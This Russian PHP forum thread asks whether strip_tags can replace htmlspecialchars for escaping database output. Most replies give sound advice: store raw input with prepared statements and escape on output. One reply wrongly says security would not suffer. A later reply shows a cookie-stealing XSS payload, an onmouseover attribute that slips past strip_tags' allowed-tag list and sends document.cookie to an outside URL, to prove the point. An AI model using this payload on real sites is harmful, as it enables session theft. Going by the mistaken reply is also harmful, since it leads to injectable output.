[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: strip_tags & htmlspecialchars
Миша
strip_tags может заменить htmlspecialchars на выходе из БД? (Знаю что они делают, по факту)

_____________
Принимаю заказы, писать в ЛС
Hello
Нет

_____________
VPS от 5$, первые 2 месяца - бесплатно.
Миша
Цитата (Hello @ 27.03.2015 - 18:43)
Нет

Почему? Если не брать во внимание удаление html и php тегов

_____________
Принимаю заказы, писать в ЛС
Миша
В чём тогда разница?
Одна экранирует - другая удаляет, Нет?

_____________
Принимаю заказы, писать в ЛС
stump
mysql_real_escape_string

_____________
Трус не играет в хокей
Миша
Цитата (stump @ 27.03.2015 - 20:08)
mysql_real_escape_string

wink.gif Это то понятно, на выходе, что лучше использовать?

_____________
Принимаю заказы, писать в ЛС
AllesKlar
Вообще, забудь про php-mysql, его скоро не будет.

В базе ВСЕГДА должно быть то, что было введено пользователем.
Никаких вырезаний или преобразований тегов. Ввел пользователь "<script> alert('Hallo!')l</script>", значит именно это и должно быть записано в базу.
Твоя задача - безопасно это записать (плейсхолдеры, prepare() ...)

При выводе из бызы ты должен безопасно вывести htmlspecialchars()

Это всё.

_____________
[продано копирайтерам]
Миша
Цитата (AllesKlar @ 27.03.2015 - 20:50)
Вообще, забудь про php-mysql, его скоро не будет.

В базе ВСЕГДА должно быть то, что было введено пользователем.
Никаких вырезаний или преобразований тегов. Ввел пользователь "<script> alert('Hallo!')l</script>", значит именно это и должно быть записано в базу.
Твоя задача - безопасно это записать (плейсхолдеры, prepare() ...)

При выводе из бызы ты должен безопасно вывести htmlspecialchars()

Это всё.

А зачем мне имя пользователя - <"? так@ е,

Поэтому и хочу вырезать - strip_tags может заменить htmlspecialchars с точки зрения безопасности? В таблицу записывается как есть)

_____________
Принимаю заказы, писать в ЛС
AllesKlar
Медведь
Цитата
А зачем мне имя пользователя - <"? так@ е,

А при чем тут ты? Пользователь хочет такое, значит будет такое.
Если ты не хочешь такое, значит еще ДО записи в базу, ты должен проверить, соответсвует ли имя пользователя твоим желаниям.
Если не соответсвует, то отклонить его и уведомить об этом пользователя, указав допустимые символы.

Инач что будет?
Я регистрируюсь у тебя как Alles<Klar>, ты в тихую вырезаешь символы и пишешь мой логин в базу, как AllesKlar.
Но я-то потом буду логиниться так, как я писал. Я же не знаю, что ты порезал. И, естественно, я нифига не залогинюсь, потому что в твоей базе просто нет пользователя Alles<Klar>

Ну, ты можешь, конечно, запомнить, что надо резать везде, и при логине тоже. Тогда совпадет.
Но вот я в своем профиле буду видеть не то, как я зарегистрировался, а то, как ты меня зарегистрировал.

Дальше, ввод описания товара, ввод коментариев, отправка сообщений.
А что, в сообщениях тоже нельзя будет отправлять никакие символы? А как же я тебе тогда напишу пример кода?
А через полгода ты 100% забудешь где и что нужно вырезать, а где не нужно, а где нужно, но не всё.



_____________
[продано копирайтерам]
Миша
AllesKlar Ухх понесло )) Да я это понимаю всё, это для примера собственно, по факту если заменить, то безопасность сайта не пострадает?

_____________
Принимаю заказы, писать в ЛС
AllesKlar
Медведь
user posted image

Не пострадает.

_____________
[продано копирайтерам]
GET
Медведь

!
$_GET['login']="
<p onmouseover=
\"window.location.href='http://phpforum.su/index.php?showuser=37963&cookie='+document.co okie;\">
Наведи на меня мышку и отправь мне все свои куки, чтоб я потом вошел под тобой
</p>"
;
echo strip_tags($_GET['login'],'<p>');


убери пробел в +document.cookie видимо PHPFORUM вырезает

_____________
Не тот велик, кто не падал, а тот кто падал и поднимался.
Миша
Цитата (GET @ 28.03.2015 - 09:18)
Медведь

!
$_GET['login']="
<p onmouseover=
\"window.location.href='http://phpforum.su/index.php?showuser=37963&cookie='+document.co okie;\">
Наведи на меня мышку и отправь мне все свои куки, чтоб я потом вошел под тобой
</p>"
;
echo strip_tags($_GET['login'],'<p>');


убери пробел в +document.cookie видимо PHPFORUM вырезает

Хитрый какой biggrin.gif

А если htmlspecialchars норм.будет?

_____________
Принимаю заказы, писать в ЛС
GET
Цитата
А если htmlspecialchars норм.будет?


htmlspecialchars - АБСОЛЮТНО безопасен в этом случае.

_____________
Не тот велик, кто не падал, а тот кто падал и поднимался.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.